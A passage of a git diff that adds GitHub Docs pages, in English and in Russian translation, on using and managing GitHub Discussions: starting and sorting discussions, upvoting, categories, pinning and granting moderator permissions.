the source repository for organization discussions can start and participate in discussions and polls in the organization. {% data reusables.enterprise-accounts.emu-permission-interact %}' +versions: + feature: discussions +--- + + +## About collaboration with maintainers using {% data variables.product.prodname_discussions %} + +{% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." + +{% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.about-announcement-format %} + +Repository administrators and project maintainers can delete a discussion in that repository. Similarly, administrators and maintainers of the source repository for an organization's discussions can delete a discussion in that organization. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion)." + +{% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)" + +![Most helpful contributors to discussions for a project](/assets/images/help/discussions/most-helpful.png) + +Community members can upvote discussions and top-level comments inside discussions to communicate with maintainers about ideas that matter to them. Project maintainers can then sort discussions and comments based on upvotes to gain insight into what community members value. + +For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." + +## Prerequisites + +To collaborate with maintainers in repository discussions, a repository administrator or project maintainer must enable {% data variables.product.prodname_discussions %} for the repository. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." + +To collaborate with maintainers in organization discussions, {% data variables.product.prodname_discussions %} must be enabled for the organization. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)." + +## Starting a discussion + +{% data reusables.discussions.starting-a-discussion %} + +## Starting a poll + +{% data reusables.discussions.starting-a-poll %} + +## Filtering the list of discussions + +You can search for discussions and filter the list of discussions in a repository or organization. For more information, see "[Searching discussions](/search-github/searching-on-github/searching-discussions)." + +{% data reusables.discussions.navigate-to-repo-or-org %} +{% data reusables.discussions.discussions-tab %} +1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results. + ![Search bar and buttons for filtering discussions](/assets/images/help/discussions/search-and-filter-controls.png) +1. In the list of discussions, click the discussion you want to view. + ![Discussion search results](/assets/images/help/discussions/search-result.png) + +## Sorting the list of discussions + +You can choose how to sort the list of discussions. + +{% data reusables.discussions.navigate-to-repo-or-org %} +{% data reusables.discussions.discussions-tab %} +1. To the right of the **Search all discussions** field, select **New**, or select **Top** and choose a time period from the drop down menu. + + ![Buttons for sorting discussions](/assets/images/help/discussions/sort-discussions-buttons.png) + + - Sort by **New** to display the discussions with the most recent activity at the top of the list. + - Sort by **Top** to display the discussions with the most upvotes at the top of the list. You can limit the list to only display discussions from a specific time period. + +## Sorting top-level comments in discussions + +You can choose how to sort top-level comments in discussions. Comment threads do not impact the order comments are sorted in. + +{% data reusables.discussions.navigate-to-repo-or-org %} +{% data reusables.discussions.discussions-tab %} +{% data reusables.discussions.click-discussion-in-list %} +1. Under the main discussion post, select **Oldest**, **Newest**, or **Top**. + + ![Buttons for sorting comments in discussions](/assets/images/help/discussions/sort-comments-buttons.png) + + - Sort by **Oldest** to display the oldest top-level comments first. + - Sort by **Newest** to display the newest top-level comments first. + - Sort by **Top** to display the most upvoted top-level comments first. + +## Converting an issue to a discussion + +{% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." + +## Further reading + +- "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" +{%- ifversion fpt or ghec %} +- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)" +{%- endif %} diff --git a/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/index.md b/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/index.md new file mode 100644 index 000000000000..a30b5ccd9ae6 --- /dev/null +++ b/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,18 @@ +--- +title: Совместная работа с сообществом с помощью обсуждений +shortTitle: Collaborating using discussions +intro: Назначьте совещание и обсудите проект с участниками сообщества и другими издателями. +versions: + feature: discussions +children: + - /about-discussions + - /participating-in-a-discussion + - /collaborating-with-maintainers-using-discussions +ms.openlocfilehash: 351598fbad61af6c58fdda091a2bd56b32bfc6b2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410246' +--- + diff --git a/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md b/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md new file mode 100644 index 000000000000..ccfd537fc060 --- /dev/null +++ b/translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,66 @@ +--- +title: Participating in a discussion +intro: 'You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}.' +permissions: 'People with read access to a repository can participate in discussions and polls in the repository. People with read access to the source repository for organization discussions can participate in discussions and polls in that organization. {% data reusables.enterprise-accounts.emu-permission-interact %}' +versions: + feature: discussions +shortTitle: Participate in discussion +--- + + +## About participation in a discussion + +{% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." + +In addition to starting or viewing discussions and polls, you can: + +- Comment in response to the original comment from the author of the discussion +- Create a comment thread by replying to an individual comment that another community member made within the discussion +- React to comments with emoji +- Upvote discussions and top-level comments to give them more visibility + +{% ifversion fpt or ghec %}You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)."{% endif %} + +## Prerequisites + +{% data variables.product.prodname_discussions %} must be enabled for the repository or organization for you to participate in a discussion in the repository or organization. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)" and "[Enabling or disabling GitHub Discussions for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)." + +## Creating a discussion + +{% data reusables.discussions.starting-a-discussion %} + +## Creating a poll + +{% data reusables.discussions.starting-a-poll %} + +## Marking a comment as an answer + +Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. +Similarly, discussion authors and users with the triage role or greater for the source repository for organization discussions can mark a comment as the answer to a discussion in the organization. + +{% data reusables.discussions.marking-a-comment-as-an-answer %} + +## Upvoting a discussion + +You can upvote discussions to give more visibility to the topics that matter to you, and sort discussions to see which have been upvoted the most. For more information on sorting discussions, see "[Sorting the list of discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions#sorting-the-list-of-discussions)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.discussions.discussions-tab %} +1. In the list of discussions, find the discussion you want to upvote. +1. To the left of the discussion, click the upvote arrow. + + ![Discussion list and upvote button for upvoting discussions](/assets/images/help/discussions/upvote-discussion-button.png) +1. Optionally, click the upvote arrow again to remove your upvote. + +## Upvoting a comment + +You can upvote top-level comments in discussions, and sort top-level comments to see which comments have been upvoted the most. For more information on sorting comments, see "[Sorting top-level comments in discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions#sorting-top-level-comments-in-discussions)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.discussions.discussions-tab %} +{% data reusables.discussions.click-discussion-in-list %} +1. In the discussion, find a top-level comment you want to upvote. +1. Click on the upvote arrow at the bottom left of the comment. + + ![Top-level comment and upvote button for upvoting comments](/assets/images/help/discussions/upvote-comment-button.png) +1. Optionally, click the upvote arrow again to remove your upvote. diff --git a/translations/ru-RU/content/discussions/guides/best-practices-for-community-conversations-on-github.md b/translations/ru-RU/content/discussions/guides/best-practices-for-community-conversations-on-github.md new file mode 100644 index 000000000000..57c89fb027d5 --- /dev/null +++ b/translations/ru-RU/content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,53 @@ +--- +title: Рекомендации по беседам сообщества на GitHub +shortTitle: Best practices for community conversations +intro: 'Вы можете использовать обсуждения для проведения мозгового штурма вместе со своей командой и в конечном итоге перенести беседу в проблему, когда вы будете готовы определить объем и состав работ.' +versions: + feature: discussions +ms.openlocfilehash: daa7dd67a1e760f51493ddbfba336725451a91d4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410230' +--- +## Беседы сообщества в {% data variables.product.prodname_discussions %} + +Так как {% data variables.product.prodname_discussions %} — это открытый форум, вы можете быстро начинать совместную работу, не связанную с кодом, в рамках репозитория проекта или организации, чтобы собирать разнообразные мнения и идеи. Продуктивное взаимодействие можно наладить несколькими способами. + +- Задавайте вопросы по существу и уточняющие вопросы для получения отзывов. +- Собирайте разнообразную информацию и вычленяйте основные факты. +- Где это применимо, открывайте проблемы для принятия мер по результатам беседы. + +Дополнительные сведения об открытии проблемы и перекрестных ссылках на обсуждение см. в разделе [Открытие проблемы из комментария](/github/managing-your-work-on-github/opening-an-issue-from-a-comment). + +## Сведения о беседах на GitHub + +Вы можете создавать обсуждения, проблемы и запросы на вытягивание, а также участвовать в них в зависимости от требуемого типа взаимодействия. + +Вы можете использовать {% data variables.product.prodname_discussions %} для обсуждения общих идей, проведения мозгового штурма и уточнения деталей проекта перед фиксацией проблемы, для которой затем можно определить область. {% data variables.product.prodname_discussions %} полезны для команд в следующих сценариях. +- Проект находится на этапе исследования, и вы все еще пытаетесь понять, в каком направлении хочет двигаться ваша команда. +- Вы хотите собрать отзывы о проекте от более широкого круга пользователей. +- Вы не хотите смешивать обсуждение исправлений ошибок, запросов функций и общих вопросов. +- Вы хотите оценивать интерес к новым идеям и мнение сообщества с помощью опросов. + +Вы можете использовать обсуждения репозитория для обсуждения тем, относящихся к репозиторию. Если проект охватывает несколько репозиториев, вы можете использовать обсуждения на уровне организации для обсуждения тем, которые не относятся к отдельному репозиторию. + +Проблемы удобны для обсуждения конкретных сведений о проекте, например для отчетов об ошибках и сведений о запланированных улучшениях. Дополнительные сведения см. в разделе [Сведения о проблемах](/articles/about-issues). Запросы на вытягивание позволяют напрямую комментировать предложенные изменения. Дополнительные сведения см. в разделах [Сведения о запросах на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) и [Комментирование запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request). + +## Соблюдение рекомендаций по участию + +Прежде чем открывать обсуждение в репозитории, проверьте, имеются ли для репозитория рекомендации по участию. Файл CONTRIBUTING содержит пожелания ответственного за репозиторий касательно того, как следует вносить идеи в проект. + +Дополнительные сведения см. в разделе "[Настройка проекта для внесения действенных вкладов](/communities/setting-up-your-project-for-healthy-contributions)". + +## Дальнейшие действия + +Чтобы продолжить изучение {% data variables.product.prodname_discussions %} и быстро создать обсуждение для сообщества, см. [краткое руководство по {% data variables.product.prodname_discussions %}](/discussions/quickstart). + +## Дополнительные материалы + +- [Настройка проекта для внесения действенных вкладов](/communities/setting-up-your-project-for-healthy-contributions) +- [Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests) +- [Модерация комментариев и бесед](/communities/moderating-comments-and-conversations) +- [Написание сообщений на {% data variables.product.prodname_dotcom %}](/articles/writing-on-github) diff --git a/translations/ru-RU/content/discussions/guides/finding-your-discussions.md b/translations/ru-RU/content/discussions/guides/finding-your-discussions.md new file mode 100644 index 000000000000..5cf381950475 --- /dev/null +++ b/translations/ru-RU/content/discussions/guides/finding-your-discussions.md @@ -0,0 +1,22 @@ +--- +title: Finding your discussions +intro: You can easily access every discussion you've created or participated in. +versions: + feature: discussions +shortTitle: Find discussions +redirect_from: + - /discussions/guides/finding-discussions-across-multiple-repositories +--- + + +## Finding discussions + +1. In the top-right corner of {% data variables.location.product_location %}, click your profile photo, then click **Your discussions**. + !["Your discussions" in drop-down menu for profile photo on {% data variables.product.product_name %}](/assets/images/help/discussions/your-discussions.png) +1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. + +## Further reading + +- "[Searching discussions](/search-github/searching-on-github/searching-discussions)" +- "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" +- "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" diff --git a/translations/ru-RU/content/discussions/guides/granting-higher-permissions-to-top-contributors.md b/translations/ru-RU/content/discussions/guides/granting-higher-permissions-to-top-contributors.md new file mode 100644 index 000000000000..0fcf1128382b --- /dev/null +++ b/translations/ru-RU/content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,36 @@ +--- +title: Предоставление разрешений более высокого уровня ведущим участникам +intro: Администраторы репозитория могут продвигать любого участника сообщества на уровень модератора или ответственного специалиста. +versions: + feature: discussions +shortTitle: Grant higher permissions +ms.openlocfilehash: d672b11df4c984ad0ba272756d1a8a1b713eff78 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147409606' +--- +## Введение + +Самые полезные участники за последние 30 дней выделены на панели мониторинга {% data variables.product.prodname_discussions %} в зависимости от числа комментариев, помеченных как ответы другими участниками сообщества. Полезные участники помогают развивать здоровое сообщество, модерировать и координировать работу сообщества вместе со специалистами поддержки. + +## Шаг 1. Аудит ведущих участников {% data variables.product.prodname_discussions %} + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} +1. Сравните список участников с их разрешениями на доступ к репозиторию или (в случае обсуждений организации) к исходному репозиторию, чтобы узнать, кто подходит для модерации обсуждения. + ![Снимок экрана: наиболее эффективные участники](/assets/images/help/discussions/most-helpful.png) + +## Шаг 2. Просмотр уровня разрешений для {% data variables.product.prodname_discussions %} + +Пользователи с разрешениями на рассмотрение для репозитория могут помочь модерировать обсуждения репозитория, помечая комментарии как ответы, блокируя обсуждения, которые уже не являются полезными или наносят ущерб сообществу, и преобразовывая вопросы в обсуждения, если идея все еще находится на ранних этапах разработки. Аналогичным образом пользователи с разрешениями на рассмотрение исходного репозитория для обсуждений организации могут модерировать обсуждения организации. Дополнительные сведения см. в разделе [Модерация обсуждений](/discussions/managing-discussions-for-your-community/moderating-discussions). + +Дополнительные сведения об уровнях разрешений для репозитория и {% data variables.product.prodname_discussions %} см. в разделе [Уровни разрешений для репозитория в организации](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization). + +## Шаг 3. Изменение уровней разрешений для ведущих участников + +Вы можете изменить уровни разрешений для участников, чтобы предоставить им расширенный доступ к инструментам, которые им нужны для модерации обсуждений GitHub. Сведения об изменении уровней разрешений для пользователя или команды см. в разделе [Управление командами и людьми с доступом к репозиторию](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository). + +## Шаг 4. Уведомление членов сообщества о повышении прав доступа + +При изменении уровня разрешений для участников совместной работы эти участники получат уведомление об изменении. diff --git a/translations/ru-RU/content/discussions/guides/index.md b/translations/ru-RU/content/discussions/guides/index.md new file mode 100644 index 000000000000..2b333f9ca831 --- /dev/null +++ b/translations/ru-RU/content/discussions/guides/index.md @@ -0,0 +1,18 @@ +--- +title: Руководства по обсуждениям +shortTitle: Guides +intro: 'Узнайте, как приступить к работе или изучите рекомендации по участию и мониторингу обсуждений сообщества.' +versions: + feature: discussions +children: + - /best-practices-for-community-conversations-on-github + - /finding-your-discussions + - /granting-higher-permissions-to-top-contributors +ms.openlocfilehash: 771770d2e67d21fc180f400685faf5c9a436cf68 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410047' +--- + diff --git a/translations/ru-RU/content/discussions/index.md b/translations/ru-RU/content/discussions/index.md new file mode 100644 index 000000000000..0406c9d71100 --- /dev/null +++ b/translations/ru-RU/content/discussions/index.md @@ -0,0 +1,46 @@ +--- +title: Документация по обсуждениям GitHub +shortTitle: GitHub Discussions +intro: '{% data variables.product.prodname_discussions %} — это форум для совместной работы участников сообщества над{% ifversion fpt or ghec %} проектом с открытым кодом или{% endif %} внутренним проектом. Участники сообщества могут задавать вопросы и отвечать на них, делиться обновлениями, использовать беседы с открытым составом участников и выполнять решения, влияющие на работу сообщества.' +introLinks: + quickstart: /discussions/quickstart +featuredLinks: + guides: + - /discussions/collaborating-with-your-community-using-discussions/about-discussions + - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion + - /discussions/managing-discussions-for-your-community/moderating-discussions + gettingStarted: + - /discussions/quickstart + guideCards: + - /discussions/collaborating-with-your-community-using-discussions/about-discussions + - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion + - /discussions/managing-discussions-for-your-community/moderating-discussions + popular: + - /discussions/guides/granting-higher-permissions-to-top-contributors + - /discussions/guides/best-practices-for-community-conversations-on-github + - /discussions/guides/finding-your-discussions + - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions + - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions +changelog: + label: discussions +examples_source: data/product-examples/discussions/community-examples.yml +product_video: 'https://www.youtube-nocookie.com/embed/IpBw2SJkFyk' +layout: product-landing +versions: + feature: discussions +communityRedirect: + name: Provide GitHub Feedback + href: 'https://github.com/orgs/community/discussions/categories/discussions' +children: + - /quickstart + - /guides + - /collaborating-with-your-community-using-discussions + - /managing-discussions-for-your-community +ms.openlocfilehash: a91dbef4ac8c511cc6b94b7ab412a16772f7db33 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147433407' +--- + diff --git a/translations/ru-RU/content/discussions/managing-discussions-for-your-community/index.md b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/index.md new file mode 100644 index 000000000000..1be25ec9fdf0 --- /dev/null +++ b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,19 @@ +--- +title: Управление обсуждениями для сообщества +shortTitle: Managing discussions +intro: 'Вы можете включить и настроить {% data variables.product.prodname_discussions %} для репозитория, а также использовать инструменты в {% data variables.product.product_name %} для модерации бесед среди участников сообщества.' +versions: + feature: discussions +children: + - /managing-discussions + - /managing-categories-for-discussions + - /moderating-discussions + - /viewing-insights-for-your-discussions +ms.openlocfilehash: 156460ecfbb27820f11ccad388ceaff069f835b1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410302' +--- + diff --git a/translations/ru-RU/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md new file mode 100644 index 000000000000..bd69c78cb16f --- /dev/null +++ b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md @@ -0,0 +1,68 @@ +--- +title: Managing categories for discussions +intro: 'You can categorize discussions to organize conversations for your community members, and you can choose a format for each category.' +permissions: Repository administrators and people with write or greater access to a repository can manage categories for discussions in the repository. Repository administrators and people with write or greater access to the source repository for organization discussions can manage categories for discussions in the organization. +versions: + feature: discussions +shortTitle: Manage categories +redirect_from: + - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository +--- + + +## About categories for discussions + +{% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} + +{% data reusables.discussions.about-announcement-format %} + +Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations. {% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." + +## Default categories + +| Category | Purpose | Format | +| :- | :- | :- | +| 📣 Announcements | Updates and news from project maintainers | Announcement | +| #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | +|💡 Ideas | Ideas to change or improve the project | Open-ended discussion | +| 🗳 Polls | Polls with multiple options for the community to vote for and discuss | Polls | +| 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | +| 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | + +## Creating a category + +1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to create a category. +{% data reusables.discussions.discussions-tab %} +{% data reusables.discussions.edit-categories %} +1. Click **New category**. + !["New category" button above list of discussion categories for a repository](/assets/images/help/discussions/click-new-category-button.png) +1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." + ![Emoji, title, description, and discussion format for new category](/assets/images/help/discussions/edit-category-details.png) +1. Click **Create**. + !["Create" button for new category](/assets/images/help/discussions/new-category-click-create-button.png) + +## Editing a category + +You can edit a category to change the category's emoji, title, description, and discussion format. + +1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to edit a category. +{% data reusables.discussions.discussions-tab %} +1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}. + ![Edit button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-edit-for-category.png) +1. {% data reusables.discussions.edit-category-details %} + ![Editing emoji, title, description, and discussion format for existing category](/assets/images/help/discussions/edit-existing-category-details.png) +1. Click **Save changes**. + !["Save changes" button for existing category](/assets/images/help/discussions/existing-category-click-save-changes-button.png) + +## Deleting a category + +When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. + +1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to delete a category. +{% data reusables.discussions.discussions-tab %} +1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}. + ![Trash button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-delete-for-category.png) +1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting. + ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/choose-new-category.png) +1. Click **Delete & Move**. + ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/click-delete-and-move-button.png) diff --git a/translations/ru-RU/content/discussions/managing-discussions-for-your-community/managing-discussions.md b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/managing-discussions.md new file mode 100644 index 000000000000..33bc9c69434f --- /dev/null +++ b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/managing-discussions.md @@ -0,0 +1,201 @@ +--- +title: Управление обсуждениями +intro: 'Вы можете категоризировать, продвинуть, перенести или удалить обсуждения.' +permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. Repository administrators and people with write or greater access to the source repository for organization discussions can manage discussions in the organization. +versions: + feature: discussions +shortTitle: Manage discussions +redirect_from: + - /discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository +ms.openlocfilehash: e5e1474648973c90d16e8998db18518331233aa3 +ms.sourcegitcommit: 1529de77bfcbe45519131b5f5fb3ab319758c2d2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148164342' +--- +## Сведения об управлении обсуждениями + +{% data reusables.discussions.about-discussions %} Дополнительные сведения об обсуждениях см. в разделе [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions). + +Владельцы организации могут выбрать разрешения, необходимые для создания обсуждений в принадлежащих ей репозиториях. Аналогичным образом, чтобы выбрать разрешения, необходимые для создания обсуждения организации, ее владельцы могут изменить разрешения, необходимые в исходном репозитории. Дополнительные сведения см. в разделе [Управление созданием обсуждений для репозиториев в организации](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization). + +Ответственный за обсуждения может создавать ресурсы сообщества, чтобы поощрять обсуждения в соответствии с общей целью проекта и поддерживать дружественную и открытую атмосферу для участников совместной работы. Выработка{% ifversion fpt or ghec %} правил поведения или{% endif %} руководящих принципов для участников совместной работы поможет поддерживать творческий настрой и дух сотрудничества. Дополнительные сведения о создании ресурсов сообщества см. в разделах{% ifversion fpt or ghec %} "[Добавление правил поведения в проект](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" и{% endif %} "[Создание рекомендаций для участников репозитория](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)". + +Когда в результате обсуждения рождается идея или выявляется ошибка, готовая к обработке, можно создать проблему прямо из обсуждения. Дополнительные сведения см. в статье "[Создание проблемы](/issues/tracking-your-work-with-issues/creating-an-issue#creating-an-issue-from-a-discussion)". + +Обсуждение можно закрепить в верхней части списка обсуждений для репозитория или организации. {% ifversion discussions-category-specific-pins %} Вы также можете закрепить обсуждение в определенной категории. {% endif %} Дополнительные сведения см. в разделе [Закрепление обсуждения](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion). + +Дополнительные сведения о том, как поддерживать здоровую атмосферу во время обсуждений, см. в разделе [Модерация комментариев и бесед](/communities/moderating-comments-and-conversations). + +{% data reusables.discussions.you-can-label-discussions %} + +## Предварительные требования + +Для управления обсуждениями в репозитории необходимо включить для него {% data variables.product.prodname_discussions %}. Дополнительные сведения см. в разделе [Включение или отключение {% data variables.product.prodname_discussions %} для репозитория](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository). + +Для управления обсуждениями в организации необходимо включить для нее {% data variables.product.prodname_discussions %}. Дополнительные сведения см. в разделе [Включение или отключение {% data variables.product.prodname_discussions %} для организации](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization). + +## Изменение категории обсуждения + +Вы можете классифицировать обсуждения, чтобы помочь участникам сообщества находить обсуждения по теме. Дополнительные сведения см. в разделе [Управление категориями обсуждений](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions). + +Обсуждение можно также перенести в другую категорию. Обсуждения нельзя переносить в категорию опросов и из нее. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели справа от элемента "Категория" щелкните {% octicon "gear" aria-label="The gear icon" %}. + + ![Снимок экрана: "Категория" со значком шестеренки](/assets/images/help/discussions/category-in-sidebar.png) + +1. Щелкните категорию. + + ![Снимок экрана: раскрывающееся меню "Изменить категорию"](/assets/images/help/discussions/change-category-drop-down.png) + +## Закрепление обсуждения + +{% ifversion discussions-category-specific-pins %} Обсуждение можно закрепить над списком обсуждений для репозитория или организации. Вы также можете закрепить обсуждение в определенной категории. Глобально закрепленные обсуждения будут отображаться в дополнение к обсуждениям, закрепленным в определенной категории. + +Это то, как это выглядит, если у вас есть глобально закрепленное обсуждение и обсуждение, закрепленное в категории Идеи. + +![Снимок экрана: глобально закрепленное обсуждение и обсуждение, закрепленное в категории "Идеи"](/assets/images/help/discussions/overview-pinned-discussions.png) + +### Глобальное закрепление обсуждения +{% endif %} + +Вы можете закрепить до четырех важных обсуждений над списком обсуждений для репозитория или организации. + + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели щелкните {% octicon "pin" aria-label="The pin icon" %} **Закрепить обсуждение**. +{% ifversion discussions-category-specific-pins %} + + ![Снимок экрана: параметр "Закрепить обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/click-pin-discussion-with-category-pins.png){% else %} + + ![Снимок экрана: параметр "Закрепить обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/click-pin-discussion.png){% endif %} + +1. При необходимости настройте внешний вид закрепленного обсуждения. + + ![Снимок экрана: параметры настройки закрепленного обсуждения](/assets/images/help/discussions/customize-pinned-discussion.png) + +1. Нажмите кнопку **Закрепить обсуждение**. + + ![Снимок экрана: кнопка "Закрепить обсуждение" в разделе параметров настройки закрепленного обсуждения](/assets/images/help/discussions/click-pin-discussion-button.png) + +{% ifversion discussions-category-specific-pins %} +### Закрепление обсуждения в категории + +Над списком обсуждений в определенной категории можно закрепить до четырех важных обсуждений. + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели щелкните {% octicon "pin" aria-label="The pin icon" %} **Закрепить обсуждение в КАТЕГОРИИ**. + + ![Снимок экрана: параметр "Закрепить обсуждение в категории" на правой боковой панели для обсуждения](/assets/images/help/discussions/pin-discussion-to-category.png) + +2. Чтобы подтвердить, щелкните **Закрепить в категории**. + + ![Снимок экрана: модальное сообщение "Закрепление обсуждения в категории"](/assets/images/help/discussions/pin-discussion-to-category-modal.png) + +{% endif %} + +## Редактирование закрепленного обсуждения + +Изменение закрепленного обсуждения не приведет к изменению его категории. Дополнительные сведения см. в разделе [Управление категориями обсуждений](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions). + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data 